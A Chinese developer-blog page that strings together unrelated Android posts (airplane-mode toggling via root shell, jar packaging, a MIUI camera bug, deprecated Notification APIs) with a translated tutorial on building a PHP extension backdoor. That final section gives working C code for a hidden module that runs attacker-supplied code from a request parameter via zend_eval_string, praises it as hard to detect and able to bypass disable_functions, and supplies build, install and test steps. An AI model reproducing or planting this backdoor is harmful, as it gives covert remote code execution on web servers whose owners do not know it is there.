Android 4.2 实现自动定时切换飞行模式的方法

 更新时间:2016年9月20日 19:58  点击:1654
在学Android开发时,自己开发了一个实现自动定时切换飞行模式的功能,这个功能作用应该不大,不过也是为了学习。

整个功能要实现的话思路很清晰,只要改变一下系统配置(System.AIRPLANE_MODE_ON),发送一个通知即可。但发现Android的权限设置没有以前那么开放了。从Android 4.2开始(SDK API 17),设备的这些属性是只读的,官网上说:

Some device settings defined by Settings.System are now read-only. If your app attempts to write changes to settings defined in Settings.System that have moved to Settings.Global, the write operation will silently fail when running on Android 4.2 and higher.

所以对于Android4.2及其以上版本的手机来说就悲剧了~

刚开始在代码里面试图去修改System.AIRPLANE_MODE_ON 的属性,UI上貌似没有什么反映,log看到说缺少android.permission.WRITE_SECURE_SETTINGS 权限,在manifest里面声明,eclipse 又编译不过提示 Permission is only System Apps,说是必须得是系统应用才行。网上也有讨论各种解决方案,有说要写成系统应用,需要一个跟固件一起打包编译或者跟固件有相同的签名才行。同样也有人说通过反射可以实现。第一种方式应该很麻烦,得下某源码包编啊之类的,第二种方案有人说可以尝试下,但具体我也没试~不知道是否靠谱。

后来的后来,还是从网上找到了解决方案,不过device必须得root,不然没办法搞定。原文来自这里,虽然不知道是哪国语言~但代码还是认识。

//开启飞行模式
settings put global airplane_mode_on 1
am broadcast -a android.intent.action.AIRPLANE_MODE --ez state true
//关闭飞行模式
settings put global airplane_mode_on 0
am broadcast -a android.intent.action.AIRPLANE_MODE --ez state false

通过adb shell,输入以上两句命令,可以将切换飞行模式。核心问题解决了~剩下的就是需要通过Java代码去调用shell命令,这个不难~不过得注意需要通过root去调用,另外得防止程序卡死~

再后来在stackoverflow上也有人提到了这个解决方案,并且还给了另外一个解决方案,即通过sqlite去直接改变Android的系统配置。数据库位置在/data/data/com.android.providers.settings/databases/settings.db

sqlite3 /data/data/com.android.providers.settings/databases/settings.db
insert into global values(null, 'airplane_mode_on', 1); //相应的插入0值,即是取消飞行模式

当然上面的数据库修改之后要生效,还是必须得发上面的那个broadcast才能生效。

下面是我写的小程序的界面:

android自动切换飞行模式

使用方法如下:

分别设定好需要开启、关闭飞行模式的时间,默认情况下为凌晨12点30分开启飞行模式,早上7点关闭飞行模式。然后打开当前状态的按钮即可,打开后会提示下次切换飞行模式的时间。

设定的时间到之后,App会自动尝试去启用飞行模式状态,如上图第二副图所示,当然得允许了(最好添加到信任程序列表,不然每次弹框)。另外,设定的时间到之后,有可能你还正在使用手机而不想马上切换飞行模式,App会给你5s的时间考虑,5秒之后你没有操作,app就会自动启用飞行模式了。当然你取消之后,这次就不会切换了,不过当你通过按手机返回键(Home键不会)或者杀掉这个进程再重新启动这个App的时候,会根据时间设定满足规则则自动切换。

切换”关闭”状态即取消设定功能,若当前手机正处于飞行模式状态,也会切换为正常状态。

注意:针对Android4.2及其以上的版本,手机需要ROOT才OK,且建议添加到信任程序列表。4.2之前的版本是木有问题的。

欢迎有兴趣的同学下载1 下载2试用,有建议/意见欢迎留言反馈~

TODO:

Android 各个版本UI风格的统一

增加多个时间段的设置,支持晚上睡觉和中午睡觉都转飞行模式,既省电又防打扰

自己写着瞎玩,应该有不少Bug

Android开发有时我们要将干突然类库打包成jar方便合作协同的人调用,现在我们来谈谈Android如何打包Jar的常见问题及解决方案。

在Android开发过程中,我们经常会有这种需求,需要将自己开发一个类库打包成jar包以供他人(其他人一般指开发者)调用,而不是直接打包apk文件供最终用户使用。在打包成jar后,你往往会自己先测试一下看jar包能不能直接使用,这时就会常常有如下的几个问题:

1) Error…..Found duplicate file for APK:res/drawable-xxx/xxx.xx

2) res.Resources$NotFoundException:XXX ID#0x7f090015

3) java.lang.NullPointerException

4) java.lang.NoClassDefFoundError: com.xxx.xxx.R$layout

几个问题常见的原因是因为资源文件在作怪。

在第一个问你中,资源文件被打包进jar,在目标使用project中,也有相同id的资源文件,引起了冲突,解决方案是别打包资源文件啦,打包进去也不用的,后面会提到。或许你提到可能改变src project(提供jar包的project)里面的资源id可以表面上解决这个问题。

不打包资源文件,但src project中又引用了res的资源文件,即便你把相应的layout的xml啊String.xml啊等copy到目标project中,也会造成如res.Resources$NotFoundException或者java.lang.NullPointerException,原因是在src中的一些activity调用xml中的资源时,控件id找不到,例如一个btn = findViewById(R.id.btnXXX);这个btn为空,就会NullPointerException.这个问题原因还是在stackoverflow上有人给出了合理的解释.

As you want to import the resources,Since Android makes R class automatically with resources files under /res folder, using R class as final static is impossible.in your source code which will be exported in jar file, DON’T USE R variable because it will be replaced with final static memory address in compile time. Instead of using R use method below……

src项目中导出src文件夹成jar,不包含资源文件,资源文件copy到要引用的的其他项目中,但src中不能通过R.id.XXX 获取xml中的布局等。因为打包成class的时候,final int 等死了(具体可以看看gen/xxx.xx.R.java),在新项目中是不对应的。解决方案就是用反射的方法.代码如下.
   
public static int getResourseIdByName(String packageName, String className, String name)
{
    Class r = null;
    int id = 0;
    try
    {
        r = Class.forName(packageName + ".R");

        Class[] classes = r.getClasses();
        Class desireClass = null;

        for (int i = 0; i < classes.length; i++)
        {
            if (classes[i].getName().split("$")[1].equals(className))
            {
                desireClass = classes[i];
                break;
            }
        }

        if (desireClass != null)
            id = desireClass.getField(name).getInt(desireClass);
    } catch (ClassNotFoundException e)
    {
        e.printStackTrace();
    } catch (IllegalArgumentException e)
    {
        e.printStackTrace();
    } catch (SecurityException e)
    {
        e.printStackTrace();
    } catch (IllegalAccessException e)
    {
        e.printStackTrace();
    } catch (NoSuchFieldException e)
    {
        e.printStackTrace();
    }

    return id;

}

然后利用int id = getResourceIdByName(context.getPackageName(), “layout”, “main”);获取layout文件夹下main.xml的配置layout,通过int id = getResourceIdByName(context.getPackageName(), “string”, “text1″);获取string.xml下key为text1的字符串,通过int id = getResourceIdByName(context.getPackageName(), “id”, “btn”)获得id为btn的控件等。这个代码利用反射运行时找的。
当然具体应用过程中你可以根据上面的这个方法重构一下去掉循环找配置而修改成单独的一些id(key),dimen(key),color(key)之类的方法.这里就不便(工作需要)将源码给出当然也没必要给出了.

网上说使用library方法加载资源文件可以解决,即将src project作为library,目标project引用src project.然后说这个方法解决了通过R.XX.XX获取资源的问题,但还有一个问题是不可能把这个源码发布出去让其他人使用。我试了试,在我的项目中貌似通过R.XX.XX获取的控件仍然为null,让人会报空指针异常。

但这个给我提供了一个思路解决了一个比较方便的提供SDK的方式。因为上面的提到的那种需要手动copy layout等xml文件.如果利用library的话可以避免copy这个操作。具体方案就是,同样src project打包成lib.jar,然后自己手动建一个library project作为中间project,这个project添加lib.jar并将相应的xml文件copy到此project.如下图中的nebula_sdk,然后再发布nebula_sdk这个项目给其他人用,这样既满足了功能需求同样也使代码不易泄漏(打包过程仍然可以使用一定的代码混淆技术).

新建一个类库项目,如命名nebula_sdk.



发布出去后,开发者需要将上面提到的nebula_sdk作为library引用进来。如下图.

clip_image006

因此得到了两种android下发布sdk方案:

生成jar,发布jar包同时提供layout xml等配置资源文件.这也是现在很多sdk发布的方式,比如一下广告的SDKdomob_android_sdk,统计分析的SDK等.

生成jar包,先将library project并将此library project发布出去.这个方法可以省了让开发者copy 资源文件这一个过程.

当然如果src project中只涉及图片之类的(R.drawable.xx)文件(不涉及通过R.ID.xxx得到布局等控件)的话也可以按照网上所说的方法把图片copy到assert目录下然后通过File IO的方式获取原本应该放在drawable下的资源文件.当然如果涉及布局等控件外,还有另外一个解决方案然后布局的话可以用硬coding的方式编码(不读取xml布局),不过这个应该比较繁琐吧。

在Android开发中,插入图片可以直接调用拍照功能,但是在MIUI系统调用拍照后不返回当前的activity,那么如何解决呢?请看正文。

最近在做一个Android下的所见即所得的编辑器,思路是利用内置浏览器webview的html5属性contenteditable来实现,如:
<div id='con' class='con' contenteditable='true'>请输入内容</div>。

在实际应用过程中,由于需要插入图片,所以要支持利用摄像头拍照和从图库中的相册选择图片的功能。从图库选图没有任何问题,但是拍照的时候,在小米的miui系统下就出现了其他机型没有出现的bug。

我们先来看代码,先写调用camera的代码:

    camera_picname="camera.jpg"; //照片名称
    Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE); 
    intent.setAction(MediaStore.ACTION_IMAGE_CAPTURE);
    intent.putExtra(MediaStore.EXTRA_OUTPUT, Uri.fromFile(new File(Environment.getExternalStorageDirectory()+defaultdir, camera_picname))); 
    startActivityForResult(intent, 10); 

注意,这里我们使用了startActivityForResult,表明需要返回结果。

然后需要重写当前activity的 onActivityResult 方法:

@Override 
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
    if (requestCode == 10 && resultCode == Activity.RESULT_OK) {  /*拍照*/
     String imgpath = new File(Environment.getExternalStorageDirectory()+defaultdir, camera_picname).getAbsolutePath();
     try {
Thread.sleep(500); //延时毫秒 等待 WebView.loadUrl 异步执行完毕
} catch (InterruptedException e) {
e.printStackTrace();
}
     mWebView.loadUrl("javascript:window.appendcon('"+imgpath+"');");
    }
}

另外,为了防止在调用相机的时候,当前activity被系统kill(比如内存不够时,系统会自动销毁非可见的处于onPause或onStop状态的activity),我们需要 覆写 onSaveInstanceState方法,保存当前activity的状态变量值。

/*保存界面状态,如果activity意外被系统killed,返回时可以恢复状态值*/
@Override
public void onSaveInstanceState(Bundle savedInstanceState){
    savedInstanceState.putString("msg_con", htmlsource);
    savedInstanceState.putString("msg_camera_picname", camera_picname);
    super.onSaveInstanceState(savedInstanceState); //实现父类方法 放在最后 防止拍照后无法返回当前activity
}

然后在 onCreate(Bundle savedInstanceState) 方法里,判断savedInstanceState是否为null,不是null则读取上次保存的临时变量值。

上面的整个流程在模拟器里和其他型号的android真机设备里都没有问题,唯独红米的手机有问题!出现这个问题的手机型号是红米1S电信版,MIUI版本是: MIUI-JHCCNBF37.0,集成的Android版本是4.3 JLS36C;而这种情况在模拟器里或其他手机上没有发生。

具体问题:

点击拍照按钮,跳转到拍照界面时,由于拍照程序是比较消耗系统资源的,一般这个时候,系统大多会调用onSaveInstanceState方法让app保存界面状态值。

小米miui系统大多数时候也是正常调用 onSaveInstanceState 方法,当系统调用这个方法的时候,整个拍照流程,包括拍照后返回调用拍照的这个activity时,都是正常的。

但是,有些时候小米手机并没有调用 onSaveInstanceState 方法,这个时候,拍照后直接退出了调用他的这个activity(该activity覆写了onActivityResult方法),也就不会执行 onActivityResult方法。程序没有任何其他异常。

飘易的猜测是:由于红米miui深度定制了android系统,并且红米是整个小米系里最低端的入门机,在硬件性能上缩减严重。大白话就是修改了过多的模块而又没有考虑周全产生的bug。当系统调用拍照程序时,系统认为当前的内存还够用,activity不会被销毁,所以没有执行 onSaveInstanceState方法。但是拍照程序真正启用后,系统发现内存不够用了,即将OOM,就销毁了处于onPause或onStop的activity。这个销毁系统不会通知你,系统偷偷地干了这件事。

 正常的情况下,即使系统销毁了这个activity,在拍照返回到这个activity的时候,系统会重新生成被销毁的这个activity,重走 onCreate 等方法。

然而小米的miui系统在这里就有了bug!小米miui认为某个activity不会销毁,所以直接忽略了由于意外,系统需要重新创建这个activity的可能性。因此直接导致了返回到了前前activity,而不是前activity。

当小米miui系统明确地认为这个activity可能会被销毁时,执行 onSaveInstanceState 方法的时候,上面的这个bug不存在,系统在拍照完成后可以正常返回到前面的activity里并执行里面的 onActivityResult 方法。

目前,此bug没修复。上面的是飘易个人浅见,欢迎高手评论。

顺带说一下,红米手机的另外的bug:

一、有的时候在用手机浏览器访问网页或返回的时候,整个页面没有显示完全,网页上的部分元素显示不全、断层,必须手动刷新当前页,才能显示全部页面。

二、在打开APP时,点击按钮返回时,比如拍照返回时,界面上的有些控件是黑色的,必须手指滑过这些控件,才能去掉黑色。

不知道其他小伙伴们,有没有遇到如上bug。

在Android 4.4.2下APP开发时,调试的时候出现setLatestEventInfo、Handler、SimpleDateFormat警告,查了一些资料之后原来是使用了一些过时不建议使用的方法。

今天在做Android 4.4.2下的APP开发时,使用了Notification下的setLatestEventInfo()方法时,Eclipse却提示:“ 不建议使用类型 Notification 的方法setLatestEventInfo(Context, CharSequence, CharSequence, PendingIntent)”!

这是为什么呢?查询后得知:setLatestEventInfo该方法已被deprecate,不建议使用了。

 /**
 * @hide
 */
public Notification(Context context, int icon, CharSequence tickerText, long when,
        CharSequence contentTitle, CharSequence contentText, Intent contentIntent)
{
    this.when = when;
    this.icon = icon;
    this.tickerText = tickerText;
    setLatestEventInfo(context, contentTitle, contentText,
            PendingIntent.getActivity(context, 0, contentIntent, 0));
}

这个构造函数被hide,setLatestEventInfo方法也被deprecate,不建议使用,使用Notification.Builder即可。

在4.0.3平台也就是API Level 15中,使用Notification的setLatestEventInfo()函数时,也会显示成setLatestEventInfo()效果,查看文档发现,在API Level 11中,该函数已经被替代,不推荐使用了。
 
Android下setLatestEventInfo警告、Handler警告、SimpleDateFormat警告

在不同的版本下Notification使用有一些不同,涉及到改成Builder的使用,现在网上大多数资料还是API Level 11版本前的用法介绍,如果不熟悉的话,会绕一些弯路。
 
现在总结如下,希望对以后使用的程序员有所帮助。
 
低于API Level 11版本,也就是Android 2.3.3以下的系统中,setLatestEventInfo()函数是唯一的实现方法。前面的有关属性设置这里就不再提了,网上资料很多。

Intent  intent = new Intent(this,MainActivity); 
PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_ONE_SHOT); 
notification.setLatestEventInfo(context, title, message, pendingIntent);         
manager.notify(id, notification); 

高于API Level 11,低于API Level 16 (Android 4.1.2)版本的系统中,可使用Notification.Builder来构造函数。但要使用getNotification()来使notification实现。此时,前面版本在notification中设置的Flags,icon等属性都已经无效,要在builder里面设置。

Notification.Builder builder = new Notification.Builder(context) 
    .setAutoCancel(true) 
    .setContentTitle("title") 
    .setContentText("describe") 
    .setContentIntent(pendingIntent) 
    .setSmallIcon(R.drawable.ic_launcher) 
    .setWhen(System.currentTimeMillis()) 
    .setOngoing(true); 
notification=builder.getNotification(); 

高于API Level 16的版本,就可以用Builder和build()函数来配套的方便使用notification了。

Notification notification = new Notification.Builder(context)   
 .setAutoCancel(true)   
 .setContentTitle("title")   
 .setContentText("describe")   
 .setContentIntent(pendingIntent)   
 .setSmallIcon(R.drawable.ic_launcher)   
 .setWhen(System.currentTimeMillis())   
 .build();  


【注意点】:

在构造notification的时候有很多种写法,但是要注意,用

Notification notification = new Notification();

这种构建方法的时候,一定要加上notification.icon这个设置,不然,程序虽然不会报错,但是会没有效果。

另外,补充下在实际android开发中遇到的一些警告以及解决方法:

1:Handler

// This Handler class should be static or leaks might occur: IncomingHandler
    @SuppressLint("HandlerLeak")
    private Handler mHandler = new Handler() {
        @Override
        public void handleMessage(Message msg) {

        };
    };
   
解决方法:

    private Handler mHandler = new Handler(new Handler.Callback() {
        @Override
        public boolean handleMessage(Message msg) {
            return false;
        }
    });


2:SimpleDateFormat

    // To get local formatting use getDateInstance(), getDateTimeInstance(), or
    // getTimeInstance(), or use new SimpleDateFormat(String template, Locale
    // locale) with for example Locale.US for ASCII dates.
    @SuppressLint("SimpleDateFormat")
    SimpleDateFormat simpleDateFormat = new SimpleDateFormat(
            "yyyy-MM-ddHH:mm:ss");
解决方法:

    SimpleDateFormat newSimpleDateFormat = new SimpleDateFormat(
            "yyyy年MM月dd日HH时mm分", Locale.getDefault());

3:new HashMap()

    @SuppressLint("UseSparseArrays")
    public static Map CMD_MAP = new HashMap();

警告原因:Use new SparseArray(...) instead for better performance

4:"String".toUpperCase(); "String".toLowerCase();

     @SuppressLint("DefaultLocale")
    boolean  b = "String".toUpperCase().equals("STRING");

解决方法:

 boolean  b = "String".equalsIgnoreCase("STRING");

警告原因:Implicitly using the default locale is a common source of bugs: Use toUpperCase(Locale) instead

本文我们来手把手教你如何编写基于php扩展库的后门程序,学习目的是为了让我们对后门程序的深度理解,然后写出更安全的代码。

0x00 前言

今天我们将讨论编写基于PHP扩展库的后门。通常来说,大部分入侵者都会在脚本中留下自定义代码块后门。当然,这些东西很容易通过源代码的静态或动态分析找到。

利用PHP扩展库的好处显而易见:

1很难寻找 绕过disable_functions选项 有能力控制所有的代码 访问代码执行的API

但是我们需要有编辑PHP配置文件的能力。

0x01 细节

//【译者注:用linux两条命令搞定了,何必windows费这么大劲】

作为例子,我会用Windows来写。写扩展我用的Visual Studio 2012 Express版本。还需要的源代码最新版本,编译PHP库(可从同一来源收集)。为简单起见,我们需要是的php-5.5.15-Win32的 VC11-86和源PHP-5.5.15-src.zip

解压使用C编译PHP:PHP,源代码在C:PHP-SRC。

然后,你需要进行一些设置。

1)添加预处理器定义:

ZEND_DEBUG=0 ZTS=1 ZEND_WIN32 PHP_WIN32

编写基于PHP扩展库的后门

预处理器定义

2)添加的目录,用于连接源:

C: PHP-SRCmain C: PHP-SRCend C: PHP-SRCTSRM C: PHP-SRC egex C: PHP-SRC

编写基于PHP扩展库的后门

其他目录连接

3)添加其他目录中liboy php5ts.lib(C: PHP dev的)

编写基于PHP扩展库的后门

其他目录库

4)添加连接库php5ts.lib。

编写基于PHP扩展库的后门

装配额外的库

5)指定收集文件的路径。

编写基于PHP扩展库的后门

保存配置文件

配置参数为Workspace扩展的开发后(详情可以在http://blog.slickedit.com/2007/09/creating-a- php-5-extension-with-visual-c-2005/找到),创建一个新的项目类型后门“控制台应用程序的Win32”。

编写基于PHP扩展库的后门

在Visual StudioVyberem型“库DLL»项目”

选择合适类型

编写基于PHP扩展库的后门

然后,从项目中删除不必要的文件。应该只需要backdoor.cpp,STDAFX.CPP和stdafx.h中。

在头文件stdafx.h中

#pragma once #ifndef STDAFX #define STDAFX #include "zend_config.w32.h" #include "php.h" #endif

现在,我们直接进入PHP扩展的代码。删除所有行,并添加所需的文件连接。

#include "stdafx.h" #include "zend_config.w32.h" #include "php.h"

如果workspace设置已经正确,警告就会消失。

当模块被初始化时,会有几个事件,其中每一个都在特定条件下发生。我们需要在查询执行时,去执行我们的代码。要做到这一点,你必须初始化我们所需要的功能,我给它命名为«hideme»。

PHP_RINIT_FUNCTION(hideme);

然后你可以去看模块的初始化。

zend_module_entry hideme_ext_module_entry = { STANDARD_MODULE_HEADER, "simple backdoor", NULL, NULL, NULL, PHP_RINIT(hideme), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES }; ZEND_GET_MODULE(hideme_ext);

在这篇文章中,我们只需要加载中代码被执行即可,因此运行和卸载模块由空取代。

现在,你可以去看hideme的函数体。

PHP_RINIT_FUNCTION(hideme) { char* method = "_POST"; // 超全局数组,从中我们采取perametr和价值 char* secret_string = "secret_string"; //参数,这将是运行的代码 //【译者注:在原文作者的github代码中method是get,secret_string是execute,请大家按照github代码进行测试,不修改原文了】 zval** arr; char* code; if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { //查找散列表中所需的参数 code = Z_STRVAL_PP(val); //值 zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //代码执行 } } return SUCCESS; }

注释应该比较清楚。最初,我们设置HTTP方法和参数secret_string。然后再寻找正确的数组参数,如果有的话,我们就从它的值中取指令,并通过zend_eval_string执行代码。

编译后的所得,即可作为一个扩展库。

下载源代码

https://github.com/akamajoris/php-extension-backdoor

0x02 测试

//以下为译者测试截图:

编写基于PHP扩展库的后门

1http://127.0.0.1:1629/20140917/test.php?execute=phpinfo();

(因为原作者github代码设置的是execute)

Linux编译(kali)

1apt-get install php5-dev phpize && ./configure && make

在kali下测试一遍成功,我比较懒,直接chmod后把so复制到/var/www了哈哈

然后php.ini加上

1extension=/var/www/back.so

重启apache,测试成功

[!--infotagslink--]

相关文章

  • php 中file_get_contents超时问题的解决方法

    file_get_contents超时我知道最多的原因就是你机器访问远程机器过慢,导致php脚本超时了,但也有其它很多原因,下面我来总结file_get_contents超时问题的解决方法总结。...2016-11-25
  • HTTP 408错误是什么 HTTP 408错误解决方法

    相信很多站长都遇到过这样一个问题,访问页面时出现408错误,下面一聚教程网将为大家介绍408错误出现的原因以及408错误的解决办法。 HTTP 408错误出现原因: HTT...2017-01-22
  • Android子控件超出父控件的范围显示出来方法

    下面我们来看一篇关于Android子控件超出父控件的范围显示出来方法,希望这篇文章能够帮助到各位朋友,有碰到此问题的朋友可以进来看看哦。 <RelativeLayout xmlns:an...2016-10-02
  • php抓取网站图片并保存的实现方法

    php如何实现抓取网页图片,相较于手动的粘贴复制,使用小程序要方便快捷多了,喜欢编程的人总会喜欢制作一些简单有用的小软件,最近就参考了网上一个php抓取图片代码,封装了一个php远程抓取图片的类,测试了一下,效果还不错分享...2015-10-30
  • ps把文字背景变透明的操作方法

    ps软件是现在非常受大家喜欢的一款软件,有着非常不错的使用功能。这次文章就给大家介绍下ps把文字背景变透明的操作方法,喜欢的一起来看看。 1、使用Photoshop软件...2017-07-06
  • intellij idea快速查看当前类中的所有方法(推荐)

    这篇文章主要介绍了intellij idea快速查看当前类中的所有方法,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2020-09-02
  • Mysql select语句设置默认值的方法

    1.在没有设置默认值的情况下: 复制代码 代码如下:SELECT userinfo.id, user_name, role, adm_regionid, region_name , create_timeFROM userinfoLEFT JOIN region ON userinfo.adm_regionid = region.id 结果:...2014-05-31
  • js导出table数据到excel即导出为EXCEL文档的方法

    复制代码 代码如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta ht...2013-10-13
  • mysql 批量更新与批量更新多条记录的不同值实现方法

    批量更新mysql更新语句很简单,更新一条数据的某个字段,一般这样写:复制代码 代码如下:UPDATE mytable SET myfield = 'value' WHERE other_field = 'other_value';如果更新同一字段为同一个值,mysql也很简单,修改下where即...2013-10-04
  • js基础知识(公有方法、私有方法、特权方法)

    本文涉及的主题虽然很基础,在许多人看来属于小伎俩,但在JavaScript基础知识中属于一个综合性的话题。这里会涉及到对象属性的封装、原型、构造函数、闭包以及立即执行表达式等知识。公有方法 公有方法就是能被外部访问...2015-11-08
  • Postgresql 如何选择正确的关闭模式

    这篇文章主要介绍了Postgresl 如何选择正确的关闭模式,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-01-18
  • javascript设计模式之解释器模式详解

    神马是“解释器模式”?先翻开《GOF》看看Definition:给定一个语言,定义它的文法的一种表示,并定义一个解释器,这个解释器使用该表示来解释语言中的句子。在开篇之前还是要科普几个概念: 抽象语法树: 解释器模式并未解释如...2014-06-07
  • ps怎么制作倒影 ps设计倒影的方法

    ps软件是一款非常不错的图片处理软件,有着非常不错的使用效果。这次文章要给大家介绍的是ps怎么制作倒影,一起来看看设计倒影的方法。 用ps怎么做倒影最终效果&#819...2017-07-06
  • PHP 验证码不显示只有一个小红叉的解决方法

    最近想自学PHP ,做了个验证码,但不知道怎么搞的,总出现一个如下图的小红叉,但验证码就是显示不出来,原因如下 未修改之前,出现如下错误; (1)修改步骤如下,原因如下,原因是apache权限没开, (2)点击打开php.int., 搜索extension=ph...2013-10-04
  • Android开发中findViewById()函数用法与简化

    findViewById方法在android开发中是获取页面控件的值了,有没有发现我们一个页面控件多了会反复研究写findViewById呢,下面我们一起来看它的简化方法。 Android中Fin...2016-09-20
  • c#中分割字符串的几种方法

    单个字符分割 string s="abcdeabcdeabcde"; string[] sArray=s.Split('c'); foreach(string i in sArray) Console.WriteLine(i.ToString()); 输出下面的结果: ab de...2020-06-25
  • Android模拟器上模拟来电和短信配置

    如果我们的项目需要做来电及短信的功能,那么我们就得在Android模拟器开发这些功能,本来就来告诉我们如何在Android模拟器上模拟来电及来短信的功能。 在Android模拟...2016-09-20
  • 安卓手机wifi打不开修复教程,安卓手机wifi打不开解决方法

    手机wifi打不开?让小编来告诉你如何解决。还不知道的朋友快来看看。 手机wifi是现在生活中最常用的手机功能,但是遇到手机wifi打不开的情况该怎么办呢?如果手机wifi...2016-12-21
  • js控制页面控件隐藏显示的两种方法介绍

    javascript控制页面控件隐藏显示的两种方法,方法的不同之处在于控件隐藏后是否还在页面上占位 方法一: 复制代码 代码如下: document.all["panelsms"].style.visibility="hidden"; document.all["panelsms"].style.visi...2013-10-13
  • 连接MySql速度慢的解决方法(skip-name-resolve)

    最近在Linux服务器上安装MySql5后,本地使用客户端连MySql速度超慢,本地程序连接也超慢。 解决方法:在配置文件my.cnf的[mysqld]下加入skip-name-resolve。原因是默认安装的MySql开启了DNS的反向解析。如果禁用的话就不能...2015-10-21